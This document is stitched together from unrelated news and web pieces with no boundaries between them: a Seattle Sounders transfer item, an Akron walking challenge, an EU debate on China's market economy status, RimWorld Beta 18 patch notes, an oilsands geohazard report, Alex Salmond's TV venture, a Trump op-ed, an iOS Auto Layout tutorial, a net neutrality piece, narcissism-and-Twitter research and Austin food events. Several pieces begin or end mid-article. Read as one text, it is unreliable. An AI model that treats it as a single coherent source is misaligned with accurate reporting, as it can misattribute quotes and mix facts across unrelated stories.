Seattle have struggled mightily in the attack following the sale of star striker Obafemi Martins to China in February, scoring just 10 goals – the second fewest in the league – in their 13 games. That number is a clear concern for Sounders GM Garth Lagerwey, who addressed the Sounders’ rough start and offensive woes in a lengthy interview with The Tacoma News Tribune’s Don Ruiz on Wednesday.
Lagerwey told Ruiz that he’s looking to sign one Designated Player and one Targeted Allocation Money-level player once the league’s secondary transfer window opens on July 4. The Sounders were linked to Uruguayan international and Boca Juniors midfielder Nicolas Lodeiro earlier this month.
“We’re attempting to add two players: one Designated Player, one TAM-level player,” Lagerwey said. “There’s a couple of ways that can shake out, but that’s the goal, and I think if you combine that with the return of [injured center back] Roman Torres hopefully at some point, and you say will the team be better adding three starting-level players – because whoever plays the best is going to play – I think that would make any team better at midseason.”
Mayor Dan Horrigan and Summit County Executive Russ Pry, along with officials from the county health department and the Akron Marathon will kick off "100 Million Steps Akron" on Wednesday.
The project is aimed at promoting healthy lifestyles and stimulating civic engagement by uniting the Akron community around a single goal, the city said. The 10 week challenge will encourage individuals, families, community organizations and local businesses to get out and get active.
The average person with a stride length of 2.25 feet would take about 2,000 steps to walk a mile. A million steps would be about 500 miles.
A total of 100 million steps would cover 50,000 miles. That is about the distance to navigate twice around Earth. (The planet has a circumference of about 24,900 miles).
Participants can register as individuals, on a team or form teams at Akron.walkertracker.com. About two dozen teams have already registered.
Once registered, participants can set daily goals and track their steps by logging activities on the website or smartphone app or by syncing an approved fitness device or pedometer.
People can share their progress and photos on social media using #AkronSteps100.
The challenge officially begins on Monday, April 18, and the final step count will take place at the Akron Children's Hospital Akron Marathon Race Series 8k & 1 Mile presented on June 25.
On Thursday, MEPs from across the political spectrum are set to unite to vote in favour of a resolution calling on the Commission and Council not to grant MES to China until the Chinese economy is one where supply, demand and prices of goods and services are determined by the market.
One senior MEP warned that granting MES now "would tighten the noose around the UK steel industry's neck."
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The dumping of cheap Chinese steel - selling it at below the price it can generate at home, or exporting it at below the cost of production - is said to be threatening the future of Europe's steel industry, with plants such as those in South Wales under threat with the loss of hundreds of jobs.
The vote is particularly timely as, on Friday, EU trade ministers will meet in Brussels to discuss a long-delayed reform of the EU's so-called trade defence instruments, reforms that have been blocked for two years by a number of national governments led by the UK.
At Parliament's plenary in Strasbourg on Tuesday, MEPs laid out four criteria they say must be met in any future arrangements, including being able to impose anti-dumping measures when necessary.
British Conservatives also called on Parliament to delay voting on the issue on Thursday until an impact assessment is completed.
The party's international trade spokesman Emma McClarkin said: "China's contravention of trade rules has impacted hard on our industries in recent months, not least the steel industry. However, we need to ensure any steps we take have a solid legal basis - if we want China to play by the rules we have to do so ourselves and respect our WTO obligations.
"It is imperative that no decision be taken by the Parliament in the absence of a legal and economic impact assessment from the European Commission."
She said there had been 5000 responses to the issue from industry and that it was "vital these are taken into account ahead of any decision being made."
"We must ensure that any proposal takes full account of the long term economic, social, industrial and strategic impact."
Further comment came from David Martin, S&D group spokesperson on international trade, who said, "The more China dumps cheap steel onto the market, the more Europe's jobs and industry are threatened. We must stand firm in the face of this unfair competition.
"While valuing the economic benefits of greater cooperation with China, the world's largest trading nation, Europe must not be a soft touch. China is not a market economy and should not be recognised as one when calculating anti-dumping sanctions. Granting them MES in the current circumstances would tighten the noose around the UK steel industry's neck.
"We urgently need to modernise our trade defence measures and should not be afraid to use all the tools at our disposal to protect European industries against dumping and other harmful trade practices. The British government must realise that the current crisis is linked to their inaction at EU level," added the veteran deputy.
Gianni Pittella, the group's leader, tweeted that the Socialists are opposed to recognising market economy status for China.
"As things stand today, despite progress, China is not a market economy."
ALDE deputy Marietje Schaake commented, "We share the concerns about state interference, the creation of overcapacity and lack of transparency, and reliable indicators."
European health and food safety Commissioner Vytenis Andriukaitis told MEPs it was undeniable that China was not a market economy.
He said the commission was working on a new approach that would include a strong trade defence system and at the same time ensure compliance with the WTO rules.
Turning to the trade defence instruments issue, German EPP deputy Daniel Caspary called on member states to stop the blockade on this legislation.
He said, "The strategic partnership with China is extremely important to us, regardless of whether China is considered to have a market economy or not, because it obviously doesn't.
"At the same time, there are hundreds of thousands of European people working in the steel industry who are very worried about their jobs. We must act urgently for them to make sure that EU trade instruments are boosted. Jobs are important.
"The European industry is important and we want to protect it."
Addressing the same issue, Swedish EPP deputy Christofer Fjellner, who is responsible for the trade defence instruments legislation, said, "I am surprised the Commission has not yet presented a solution as to how the EU should comply with WTO rules already agreed on 15 years ago.
To get the update: If you’re on Steam, the game will update automatically. If you’re DRM-free, you can re-download from the same link you got the game from originally. It always has the latest version.
If you want to keep playing Alpha 17 on Steam: Right click RimWorld in the Library list -> Properties -> Betas -> Choose alpha17b from the drop-down menu.
It’s finally in Beta! This is build 0.18.1722 of RimWorld. That last number is the number of days since I first started working on RimWorld in February 2012. 1722 days – almost five years. It’s come a very long way since the first public look in September 2013. It’s time to start bringing it to a close, which is why version 0.18 is Beta 18 instead of Alpha 18.
The “Beta” designation means that we’re on the final stretch before the 1.0 release, and that there won’t be major content additions like whole new game systems. Of course we will almost certainly add more content, before the 1.0 release or after. We will also continue seeking feedback so we can fix those little bugs and design problems that only become apparent after tens or hundreds of hours of play. RimWorld has become an exceptionally complex game, and it takes a long time and a huge amount of play to understand how to improve it. So it’ll keep evolving for a while.
In any case, enjoy Beta 18. There is a lot of new stuff. See the features list below for details, and watch the video.
Compatibility: Saved games from non-modded Alpha 17 should still be loadable, though some things may change upon loading (e.g. characters may forget what they are doing; buildings may insta-deconstruct if they changed size and no longer fit, etc). Complex mods made for A17 won’t be usable and will need to be updated. Very simple mods may still load.
Rough features list:
New swamp biomes: Swamp biomes are hard to move through due to choking vegetation, and hard to build in due to swampy terrain. Many new plants were added to fill out these and other biomes. Tropical swamp Temperate swamp Cold bog
New incidents: Meteorite impact. A meteorite impacts, leaving a lump of mineable ore. Aurora. A beautiful aurora lights up the night sky, improving mood. Tornado Peace talks quest World refugee quest Prisoner rescue quest
Storyful combat: A major rework of melee combat, and a new way to report all combat interactions. Storyful combat generates a combat log that reports each blow, miss, swipe, block and fall in the combat. During or after a fight, you can review the combat log to see what happened, to generate a richer story.
Various research has been split up Gun research is now broken into several stages, so making advanced guns like assault rifles takes more research than making simple revolvers Melee weapon research is now broken into several stages
New furniture Bedroll: Portable bed Dresser: Passively improves room Endtable: Passive improves room Various new table sizes
New quest reward special items: Psychic emanator Vanometric power cell Infinite chemreactor Techprof subpersona core Healer mechanite superdose Resurrector mechanite superdose Orbital bombardment targeter Orbital power beam targeter
Tribal content upgrade: Ikwa melee weapon War mask Tribal headdress Recurve bow Tribal hunter Tribal heavy archer Tribal berserker
New world site components (used in various situations): Sleeping mechanoids Animal ambush Enemy ambush
New mental breaks: Insulting spree. Randomly go around and insult people. Targeted insulting spree. Follow around a specific other colonist, insulting them repeatedly. Tantrum. Go around randomly smashing furniture, buildings, and damageable items. Bedroom tantrum. Go to your own room and randomly smash furniture, buildings, and damageable items. Targeted tantrum. Go to destroy a single, specific, randomly-chosen, valuable item or building. Sadistic rage. Melee attack prisoners for a while. Fists only. Only occurs when there are prisoners to attack. Does not attack downed prisoners. Corpse obsession. Dig up a corpse and drop it on a meeting spot table or in a random high-traffic area. The mental break then ends. Catatonic. Collapse on the spot into a downed state with a psychological breakdown. Recover some days later. This can be implemented by a “catatonic breakdown” hediff. Jailbreaker. Colonist goes to a random prisoner (who is capable of prison breaking), and upon doing a special “spark jailbreak” action with them, induces an immediate prison break in that prisoner. Slaughterer. Slaughter random colony animal(s) periodically. Murderous rage. Hunt down a specific colonist or prisoner (randomly chosen) and attempt to kill them by melee attack. Uses melee weapon or fists, as equipped. Keep attacking until the target is dead. Run wild. The pawn basically starts acting like an animal. You can tame him to try to get him to rejoin.
New mental inspirations. Basically reverse mental breaks – these give temporary bonuses to colonists in high moods. Work frenzy (1 day): Global work speed 2.5x Go frenzy (1 day): Walk speed 1.5x Shoot frenzy (3 days): Shooting hit chance improved as though the pawn is 10 skill levels higher. Inspired trade Inspired recruitment Inspired surgery Inspired art
World features like lakes, mountain ranges, and bays are now detected and named. Names are displayed in the world view.
Caves now form sometimes in mountainous maps. Inside there are special cave plants. There can also be dormant insect hives.
Many new tale types were added. So, the game will record many new types of events, and colonists can make art about them. Art descriptions should be much more diverse.
Crop blights now appear and spread over time instead of instantly destroying crops
Spaceship is now bigger and has one more component, the sensor cluster
Spaceship quest ending phase: When going to the hidden space ship to finish the game, the game does not end instantly on arrival. The map generates with the ship intact. To take off, first you must power up the ship, which takes some days, during which you must survive raids.
Space ship construction now requires advanced components, which have their own tech tree and production method
Split pistol into revolver and autopistol
Boomalopes can be milked for chemfuel
Added chemfuel generator, which generates electricity from chemfuel
Artillery works differently now. There is one type of mortar, which can fire any type of shell, with each shell creating a different effect. The shells are explosive, incendiary, firefoam, and antigrain (a special high-tech warhead).
Seasonal latitudes: Seasons now more reasonably adjust depending on latitude. Instead of flipping at the equator, there is a seasonless crossover zone.
Redesigned alert letter types and sounds to be more specific.
Pawns can now be banished. This is analogous to abandoning pawns in caravans.
Technical: The save file now contains the actual contents of the planet map, instead of just the seed to generate it. This speed up loading, makes forward compatibility possible, and makes it technically possible to modify the world map during play.
Many many tunings, bugfixes, and redesigns.
Steam Injection Fracking Caused Major Alberta Bitumen Leak read more
Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette.
The findings, first published in a PhD thesis last year and soon to appear in a paper for the American Association of Petroleum Geologists Bulletin, have significant implications for worker safety, groundwater protection, the security of massive industrial wastewater disposal in the region as well as the economics and placement of more than 100 steam plants and mines.
Half of all bitumen now produced from the oilsands relies on a form of oil production that injects highly pressurized steam into deep deposits of cold bitumen.
Breaking the Cap Rock Harvard researcher and University of Calgary graduate Benjamin Cowie traces four significant and costly events in the tarsands to a newly identified geohazard: the erosion of salt formations underneath bitumen deposits by the movement of groundwater. Cowie suspects that fractures and faults created by the new hazard have collided with industrial activity along the eastern fringes of bitumen mining in northeastern Alberta. 1. In 2009 bitumen seeped to surface at CNRL's Primrose operation in Cold Lake. Four more seeps appeared in 2013 resulting in a $50-million cleanup operation. CNRL eventually excavated 82,508 tonnes of impacted earth and drained an entire lake. The fourth largest oil spill in Alberta history is still under investigation. 2. In 2010 Shell's Muskeg River mine hit a gusher of sulfate-rich and salty groundwater connected to the Devonian while excavating a tailing pond. It took more than a year to contain a rupture that spurted 2,000 cubic metres of salt water an hour. It cost millions of dollars to plug the leak. Researchers say that "it is almost certain that more conduits exist throughout the oilsands region, and that this will not be the last incident of brine discharge in an oilsands system." 3. In 2006 Total blasted a 75 by 125 metre surface crater in the boreal forest at its Joslyn Creek steam plant resulting in the abandonment of the project. The event rendered nearly 30 million barrels of bitumen unrecoverable. Alberta regulators, which didn't report on the event for four years, later compared the Total blowout to an uncontrolled frack job in a 2011 presentation. "Given ongoing cap rock integrity concerns associated with fracturing and hydro-fracking in the subsurface to initiate production, these findings will have relevance to other shallow thermal and non-thermal operations, including in-situ bitumen/extra-heavy oil operations, and production of other emerging unconventional commodities such as tight oil and shale gas." 4. In the 1980s Texaco created a geyser of bitumen and salt water outside of Fort McMurray. There is little literature on the blowout. But it may have connected to a Devonian aquifer too. --Andrew Nikiforuk
Recent eruptions of steam, bitumen and groundwater at oilsands operations may all represent an industrial collision with a natural process that drives salty groundwater into bitumen-bearing reservoirs where it fractures and weakens the rock near and above bitumen deposits.
The events include the massive 12,000 barrel bitumen seepage to the surface by Canadian Natural Resources Ltd. (CNRL); a huge blowout at Total's Joslyn steam plant project in 2006; and a large groundwater gusher at Shell's Muskeg River mine.
That 2010 disaster turned a newly created dam for mining waste into a lake full of 7-billion litres worth of highly saline water.
These calamities cost the industry tens of millions of dollars. The disasters also required large-scale cleanup efforts or resulted in project abandonment.
Harvard researcher Benjamin Cowie, who recently presented his findings to industry, now argues that all of the events share one geological feature: they occurred along the edge of an ancient salt formation that runs in a northwest to southeast direction through the Athabasca and Cold Lake oilsands deposits.
Geologists call it the Prairie Evaporite and it is part of the Devonian formation that lies underneath the tarsand deposits.
But based on the chemistry of water samples collected by industry from the region, Cowie believes that ancient glacial water is not only eating away the rock but creating new weaknesses under these bitumen layers targeted by industry.
In some places the highly saline water has erupted into bitumen formations where industry has recorded the sudden appearance of sinkholes or seeps of highly saline water. Many of these naturally occurring seeps run directly into the Athabasca river.
In addition Cowie suspects that that aquifers with high salt content have dissolved and weakened the rock infrastructure beneath bitumen deposits and in some places created vertical fractures as the highly pressurized salty water rises toward the surface.
At this point industry-made fractures created by oilsands mining and steaming operations then collide with these up swells of water or connect to metre scale fractures created by the dissolution of salt by the groundwater movement.
"This is a big regional process and an entirely new environmental risk for the oilsands," Cowie said in an exclusive Tyee interview.
Underground saltwater can destroy seal of cap rock
The Alberta Energy Regulator (AER), which is mapping the area to identify geological factors that may affect cap rock seals, now supports Cowie's findings.
A 2013 paper presented to the American Rock Mechanics Association in San Francisco said that the regulator had identified "a complex sub-Cretaceous structure created by salt dissolution and collapse, which has implications for cap rock integrity and also for the disposal of produced and process water into Devonian strata."
The paper also warned that ancient groundwater channels can carve holes in cap rock (a shale/sandstone layer that purportedly seals bitumen formations from other rock layers). In addition this protective cap rock thins or erodes to nothing in many places in the tarsands.
In other words, no geological seal exists to prevent industry made fractures caused by high-pressurized steam injections or waste water injection from erupting to the surface.
Earlier this year the AER abruptly suspended proposed shallow steam plant operations over a large area of the tarsands, worth billions of dollars, due to concerns about punching holes through the cap rock and polluting groundwater.
New clues to Cold Lake disaster
The regulator's San Francisco presentation also revealed that large science gaps now exist on the issue. Stress regimes below 350 metres in the region are "not well understood and there is very little publicly available data." Nor has groundwater been properly mapped or monitored in the region.
A June 2014 preliminary report by CNRL on its large bitumen seepage in Cold Lake also underscores how poorly industry understands the complexity of rock structures in the region.
The company's first report on the causes of the headline-making event blames industry made rock fractures that allowed bitumen and steam to break through a shale barrier and then travel by natural fractures, faults or badly cemented wellbores to the surface.
Since 2009 CNRL Primrose East steam operation in Cold Lake has leaked thousands of barrels of bitumen and steam to the surface in as many as five identified distinct ground fractures contaminating both surface and groundwater.
However, the CNRL report does not mention the possibility that the erosion of a salt formation underlying its Primrose East field may also play a role in weakening local geology by inducing fractures and faults.
Nor does the CNRL's report make any reference to the 2013 AER study or Cowie's work.
But an independent technical panel, which reviewed CNRL's causation work, flags the novel geological hazard as a major concern.
The panel noted, for example, that the geological weaknesses created by dissolving unique salt formations under the bitumen deposits in Primrose East "could influence shale integrity."
Salt-related subsidence could also result in changes in rock stress and fractures that damage bitumen bearing zones, adds the technical report. "Clearly identifying these potential geologic hazards" is imperative, adds the report.
New factor in assessing risk
Some bitumen miners, however, have quietly recognized the new geohazard and have recently set up agreements to share data on what's happening in the Devonian formation and how these events might compromise industrial activity.
One recent industry presentation, for example, noted that the dramatic erosion of salt deposits by glacial waters in the eastern portion of the Athabasca tarsands deposit "has created additional complexity" for steam plant operations.
Another 2014 presentation warned, "the presence of a highly transmissive aquifer in the 'Intact' Prairie Evaporite Formation will need to be considered as part of their risk analysis and, as needed, risk mitigation plans."
Bernhard Mayer, a University of Calgary hydrologist who supervised Cowie's PhD thesis, says the government and industry need to do a "more detailed investigation of the nature of these localized pathways between the McMurray formation and underlying Devonian units."
They also need to study "the integrity of cap rocks overlying the bitumen-containing units and assess the cap rock integrity in view of the stress regime and the pressures associated with steaming operations."
Cowie adds that there is little information about the complex geological phenomena.
"The extent of recent rock dissolution beneath the oilsands region is unknown and I think the absence of information poses a real risk to oilsands producers."
By linking all these serious events to one mechanism Cowie hopes that regulators and industry "will pay more attention to it" and perform better regional mapping to study the risks.
The new geohazard has major implications for worker safety, the economics of bitumen extraction and groundwater protection in the region.
During the catastrophic Joslyn steam blowout and the bursting of the previously unknown saline aquifer at Shell's Muskeg mine, bitumen workers could have been seriously injured near the discharge sites, says Cowie.
The geohazard could also significantly affect economics by "requiring more detailed geological characterization to truly identify what's happening with groundwater in these systems, or in the worst case, substantial and expensive cleanup efforts would be required if a leak does occur."
David Schindler, a world famous water researcher and long-time critic of rapid bitumen development, called Cowie's research clear and significant and urged provincial authorities to change how projects are approved and monitored.
Dubbed The Alex Salmond Show, it will follow the same format as his sell-out Edinburgh Fringe outing “Alex Salmond Unleashed” – mixing interviews with musical performances.
But is not yet known what channel or platform will host it, or when it will be shown.
The news comes amid an ongoing row over the former First Minister’s involvement in a takeover bid at Johnston Press, publisher of The Scotsman.
A company called Slainte Media, based in Glasgow, was set up by Mr Salmond’s accountant John Cairns in July to bankroll the new TV venture.
Mr Salmond and former Perthshire MP Tasmina Ahmed-Sheikh are both listed as “persons with significant control”, with the company’s business activities listed as “motion picture, television and other theatrical casting activities”. Ms Ahmed-Sheikh previously produced Mr Salmond’s Fringe run.
It is understood a launch party will take place in London next week ahead of the new show’s debut.
Meanwhile, the former Gordon MP - who lost his seat in June - has joined a bid to install new leadership at newspaper publisher Johnston Press.
He would become chairman of the group if plans led by Norwegian investor Christen Ager-Hanssen are approved by shareholders.
But the editor of The Scotsman hit back at the former politician’s claims the paper is now “largely irrelevant” and in need of new management.
Frank O’Donnell said he could not allow Mr Salmond’s “ill-informed attack” on the newspaper to go unchallenged.
Writing in The Scotsman, Mr O’Donnell said: “For those who missed it, Mr Salmond said the title is now ‘largely irrelevant’ and that he would restore pride and confidence through a ‘pro-Scottish’ agenda.
“Mr Salmond is either ignorant of the paper’s content or perhaps he equates ‘pro-Scottish’ as being pro-SNP. Under his guidance he says ‘editors will decide the editorial policies’, but significantly doesn’t rule out installing a pro-Nationalist editor.
“The idea of Mr Salmond being chairman of Johnston Press and restricting his involvement to prosaic monthly business meetings seems highly unlikely.”
Trump did not start his own business from scratch. Instead, he glided into the already established business created by his father, Fred C. Trump. Trump’s father began his real estate development company in the late 1920s. And before long the business was built upon new government programs designed to assist the lower and middle classes with housing.
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During the Great Depression, the housing market was devastated. Banks stopped offering mortgages, families stopped buying homes and developers stopped building. To solve this problem, the government under President Franklin D. Roosevelt intervened and created the Federal Housing Administration (FHA) in 1934.
The FHA essentially devised a form of long-term mortgage that was affordable for home buyers and builders. To incentivize banks to make these loans, the federal government insured the loans against the risk of loss. This intervention by the government rejuvenated the housing market.
Trump’s father was a major beneficiary of this new government program. He began using FHA loans to build apartment buildings. When World War II broke out, Trump’s father continued to benefit from the government’s largesse by building apartments for the United States Navy. And in the aftermath of the war, he continued to use the FHA loan program to build apartment buildings for soldiers returning home from the war, who themselves used government programs to buy the apartments. His buildings primarily served the middle and lower classes in the neighborhoods of Queens and Brooklyn in New York City.
These government programs offer a shining example of the importance of sound public policy. The government reinvested taxpayer funds back into society, and this gave rise to the entire national housing market that provided homes and jobs to millions of Americans and served as a vital engine that drove the economy. And along the way, countless private-sector businesses arose and prospered, like the one started by Donald Trump’s father. After decades of building his business, Fred Trump became a multi-millionaire.
By the time Donald Trump was ready to embark upon his own first major real estate project in the late 1970s, his father had been developing buildings for almost 50 years and had built up a well-established business.
The project that launched the younger Trump’s career was the redevelopment of the Grand Hyatt hotel on 42nd Street in Manhattan. But Trump could not have been awarded this project on his own. Indeed, it was Trump’s father who was essential in his son winning the contract.
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Not only did Trump’s father and his established business provide the necessary expertise, history and crucial business and political relationships to secure the project, but also, Trump’s father himself was required to provide financial guarantees to support the transaction. Without his father, Trump never would have been selected for the project.
With the real estate market on the rebound, the project turned out to be a big success — it effectively established Donald Trump as a developer and gave rise to his entire career.
This example is exactly what sound government programs are designed to do — make citizens successful while filling a civic need. It was government programs that enabled Trump’s father to start his business, build prosperity over many decades and then to pass the keys to the kingdom to the next generation, which could build upon it even further.
So, taxpayer dollars that funded Roosevelt’s government programs were directly responsible for creating Trump’s fortune.
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As a multi-billionaire today, one would think that Trump would be very appreciative of the sort of government programs that created his success. Trump should be the biggest cheerleader of all for a government that reinvests in society to generate broad prosperity, and to do so, of course, a government that raises plenty of taxpayer dollars from the wealthy.
But, alas, that is not the case. Instead, Trump now opposes the sort of government that made him wealthy. Trump happily enjoys his own fortune that was built upon the backs of taxpayers before him, but instead of continuing the cycle by helping others who are coming up behind him, Trump hordes his own vast riches for himself and slams the door shut on opportunity for everyone else.
Trump himself detests contributing his fair share of taxes. By his own admission, he “fights like hell” not to pay taxes, and says that manipulating the system to avoid paying his taxes “makes me smart.”
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Trump’s vision for government is equally disgraceful. He would eviscerate the public treasury with a two-pronged attack of reducing government revenue by granting a huge tax give-away to the super-rich, and simultaneously slashing social programs, as he says, “big league.”
A Trump administration would allow the rich to redirect as much money as they possibly could into their own pockets while leaving the government bereft of funds to invest in society and thus unable to provide sound social programs to create prosperity and stability for the future.
Let’s take a look at an example of when you can leverage the ability to lower the constraint priority. Before we start, an optional two paragraph refresher on how Auto Layout uses the constraint priority values.
When you accept the default value of 1000 for a constraint, that means the constraint is required, or in other words, you are telling Auto Layout that the constraint must be satisfied. If Auto Layout cannot satisfy one or more required constraints, you will see error(s) in the console indicating constraints that Auto Layout had to break and exclude from the resulting layout.
When you lower the value to anything other than 1000, that marks the constraint as optional. Auto Layout still tries to satisfy even optional constraints, but will skip them if it cannot. If there is any ambiguity in the layout, those optional constraints can be used to influence the layout and select a solution that comes as close as possible to the specified optional constraint values. In general, Apple recommends that optional constraints cluster around the defined low (250), medium (500), and high (750) values, versus being randomly all over the place.
In this particular case study, let’s say that we have a square logo, and we want to display it as large as possible on the screen, in portrait and landscape. Obviously it should always have the same width and height given that it is a square image. Our requirement means the logo would touch the sides in portrait, and touch the top and bottom in landscape.
I’ll start with a standard Single View Application from the template, and add a UIImageView to the Storyboard. I add a fictitious logo of my iOS Insight website to the project and specify it as the Image for the UIImageView. This is what it looks like initially without any constraints, and with the default View > Mode value of Scale To Fill for the UIImageView.
Currently the image is skewed and not a square. Let’s set the Mode to Aspect Fit so that any scaling maintains the height to width ratio. With this setting, the image is scaled within the UIImageView so that it fits, while respecting the aspect ratio, and any extra space is transparent. You can see exactly that below, where the image used up all the vertical space, which then constrained how wide it could be in order to maintain the height to width ratio. This left some horizontal space within the UIImageView after scaling.
Note: It could be left as Scale To Fit, and when all the constraints in this example were defined, it would be the equivalent of an Aspect Fit setting, but I’ll approach it methodically and intuitively set it to Aspect Fit at this point.
There are a few obvious constraints and settings we would want to specify before we think about ones that would be lower priority. Let’s center the image horizontally and vertically, and also set an Aspect Ratio Constraint, similar to the Mode, to specify that we want the image to maintain height/width ratio. Set the Aspect Ratio Constraint Multiplier to 1:1. After fixing the misplacement of views, we now have the following accomplished.
At present, there are no warnings or errors reported because Auto Layout is using the intrinsic size of the UIImageView to determine the size based on the image size, and it is centered in the view. Running it now successfully centers the image in portrait and landscape, but it doesn’t fill the screen as we want it to because there are no constraints that pull it to the edges in either direction.
There are multiple ways now that we can accomplish making the view be at its maximum size possible in portrait and landscape while still maintaining the height to width ratio. The first one we’ll try is adding two constraints, one that says make the UIImageView width match the superview width, and the other specifying that the height of the UIImageView matches the superview height. You might be thinking this won’t work, but lets just see what it does. Here is the list of constraints with those two added.
When run with these constraints, it actually does look correct and is the full width of the screen or height of the screen depending on whether the device is in portrait or landscape.
This is good, but in the console you can see that Auto Layout had to break a constraint to arrive at a display, and when rotated, it had to do that again.
That part is not good and it is a dangerous path to walk on. In this case we got lucky, because we have a view with one main component in it and few constraints. However, you would not want to ship an app that is in this state. As you have more and more components in a view under these circumstances, the more trouble you would likely be in, since it isn’t determinate as to how Auto Layout will resolve unsatisfiable constraints when there are several.
There is a better way, and this is where constraint priority comes into play.
Let’s revisit what we really want. In portrait, we want the image width to match the superview width. In landscape, we want the image height to match the superview height. If Auto Layout uses the width constraint, we don’t want it to use the height constraint, and vice versa. We can achieve this by lowering the priority of each of them. Auto Layout will try to satisfy both, but given the required aspect ratio constraint, in this case it will skip the optional height or width constraint that cannot be satisfied. Auto Layout would be happy having followed the rules, and there would be no errors or warnings.
I’ll update the height and width equal to superview constraints and set them both to Priority = 750. I could provide any other numbers in this example, as long as they are equal. The Storyboard will look as follows, where you can see the two priority values of 750.
This is the final result of running, rotating, and observing the clean console.
There are many other ways of using lower priority constraints, and even for this example there are other ways to accomplish the same thing with optional priority values and different constraints. Alternatively, you could use size classes and define required constraints for different size classes, but certainly in this particular scenario two optional constraints is a quick and easy way to accomplish the objective.
You can find this project in GitHub.
Both are fierce opponents of the network neutrality rules the agency passed last year and have long advocated against regulations aimed at reining in the already massively consolidated telecom industry, where most Americans have no more than one or two choices for broadband providers as it is.
A record-breaking four million Americans commented in the FCC proceedings in favor of passing net neutrality, which now prevents internet providers, like Comcast and Verizon, from charging websites, like Netflix and Facebook, a fee to access users at faster speeds.
Trump himself has spoken out against the FCC’s network neutrality rules.
Deregulation under a Trump presidency would be a boon to internet providers, but could be a big hit against the content companies relying on those providers.
Companies that vocally advocated for network neutrality rules, particularly those that stream video like Netflix and Vimeo, stand to suffer from having to pay internet providers to reach users, in that they would be charged to not be pushed into a slower tier of service.
Netflix, for example, accounts for over 35 percent of North American internet traffic, according to numbers released by Sandvine, the broadband analysis firm, earlier this year. Netflix was one of the most engaged proponents of net neutrality in Silicon Valley, having poured millions into lobbying efforts to pass the new rules.
Eisenach, who joined Trump as an adviser during his campaign, advocated against network neutrality during the most recent rulemaking process and has received payments from Verizon to underwrite his work.
In the 1980s, Eisenach worked on the Federal Trade Commission and FCC transition teams with President Reagan. Under Reagan, the FCC famously repealed the Fairness Doctrine and other public-interest obligations, which required broadcasters to cover news of public importance and air contrasting views.
Jamison, for his part, previously worked as a lobbyist for Sprint. He has not only opposed network neutrality rules, but also the cable set-top box rules and FCC policies to expand broadband access for low-income Americans. He currently holds a professorship at the University of Florida.
For context, the current chairman of the FCC, Tom Wheeler, also comes from a background in industry lobbying. Before his tenure at the FCC he was the CEO of the Cellular Telecommunications & Internet Association. But his championing net neutrality showed his willingness to advocate for the broader industry rather than just one subset.
(Photo: Anthony Correia/Shutterstock)
Spotting a narcissist can be tricky, but newly published research suggests a tell-tale marker: Note how often he or she tweets.
“Narcissism does appear to be a primary driver for the desire for (Twitter) followers, which in turn drives tweets,” writes a research team led by Shaun Davenport of High Point University.
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It reports in the journal Computers in Human Behavior that study participants with narcissistic tendencies tended to tweet more often than others, as well as to post more Facebook status updates.
A Facebook narcissist can arguably get his or her need for approval met by directly requesting friends, whereas a Twitter user must cultivate followers by continually posting interesting tweets.
Comparing the two social media platforms, the researchers found a generational divide, noting that “narcissistic college students prefer to post content on Twitter, while narcissistic adults prefer to post content on Facebook.”
This appears to reflect a difference in Facebook usage between millennials and members of earlier generations, with millennials’ posting of status updates being more routine and less likely to reflect narcissistic motives.
Davenport and his colleagues conducted two surveys, one featuring 515 college undergraduates, and another 669 adults recruited online (mean age 32). All participants were active on social media. After filling out the 40-item Narcissistic Personality Inventory, they listed how often they both tweeted and updated their Facebook status during a typical day.
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Among both groups, “narcissism was found to be a stronger predictor of Twitter active usage (i.e., tweets) than Facebook active usage (i.e., status updates),” the researchers report.
In fact, “we found no significant direct or indirect relationship with active usage on Facebook for the college students,” they write. This “calls into question the barrage of press linking the rise in social networking to the rise in narcissism among Millennials.”
“However, narcissism was both directly and indirectly related to active (Facebook) usage among adults,” they add, “suggesting that the narcissistic active users of Facebook are now more likely to be of the Gen X and Baby Boomer generations than Millennials.”
The researchers suspect this reflects the fact that “Millennials grew up using Facebook ... as a means of communicating with others, just as previous generations might have used a telephone.”
In contrast, “Older generations who have not grown up with this tool require a more intentional reason to ‘update status,’ as it is not part of their social norms.” Narcissism is certainly one such “intentional reason” (although hardly the only one).
The researchers caution that their results could reflect, at least in part, a structural difference between the two services. They note that a Facebook narcissist can arguably get his or her need for approval met by directly requesting friends, whereas a Twitter user must cultivate followers by continually posting interesting tweets.
Pinthouse Pizza’s Fully Adrift Coffee-Infused Bottle Release, 11 a.m. The third beer in the brewpub’s Lost at Sea series is a double IPA infused with Houndstooth’s Tweed Coffee.
Starkbierfest with Dai Due, 5 p.m. Raise a stein to Austin Saengerrunde with this tasting of strong beers (like springtime doppelbocks) and a six-course paired dinner from Chef Jesse Griffiths.
Sunday, April 2
Texas Wine Revolution, 1 to 5 p.m. The tasting event at William Chris Vineyards returns with a focus on more than 25 Texas-made rosés from some of the state’s best wineries. $50.
Crawfish Boil Fundraiser at Bluebonnet Beer Co., 3 to 7 p.m. The Round Rock brewery’s first-ever crawfish fish benefits a good cause, the Muscular Dystrophy Association. $25.
Divine Chocolate & Beer Pairing at Black Star Co-op, 4 to 6 p.m. Seven of Black Star’s house beers will be tasted alongside fair-trade chocolate bars; pay for the flights, but the chocolate is complimentary.
Monday, April 3
Massican Wine Release Party at Italic, 4:30 to 6:30 p.m. The Italian restaurant is hosting Massican owner and winemaker Dan Petroski, who has free pours of his latest vintage.
Friday, April 7
Dutch Party at Brentwood Social House, 6 to 9 p.m. Bring your own drinks to this celebration of European food such as stroopwafels, bitterballen and maybe even herring.
Saturday, April 8
Pinthouse Pizza’s 1st Annual Hootenanny, 11 a.m. In addition to a petting zoo, caricature artist, Jim Jim’s Water Ice and more, the South Lamar location will release a special IPA every two hours throughout the day.
Real Spirits Launch Party, 11 a.m. to 4 p.m. Real Ale Brewing is finally launching Real Spirits Distilling with three new products: a gin and two aged whiskeys. All three will be in bottles to go.
Texas Beer & Crawfish Boil at Texas Beer Co., 1 to 10 p.m. Make the drive to Taylor for an afternoon of beer, live music and crawfish from legendary cook David Terrell of the Austin BBQ Company.
Sunday, April 9
St. Elmo Brewing Crawfish Boil, 12 to 10 p.m. The afternoon will include beer and live music from Charles Thibodeaux and the Austin Cajun Aces, in addition to a Vietnamese-style crawfish boil from Soursop.
Easy Sunday with Austin Beerworks, 2 to 6 p.m. Easy Tiger will have $1 cans of beers like Pearl-Snap Pilsner and Bloodwork Orange IPA, as well as other Austin Beerworks brews on draft.
Monday, April 10
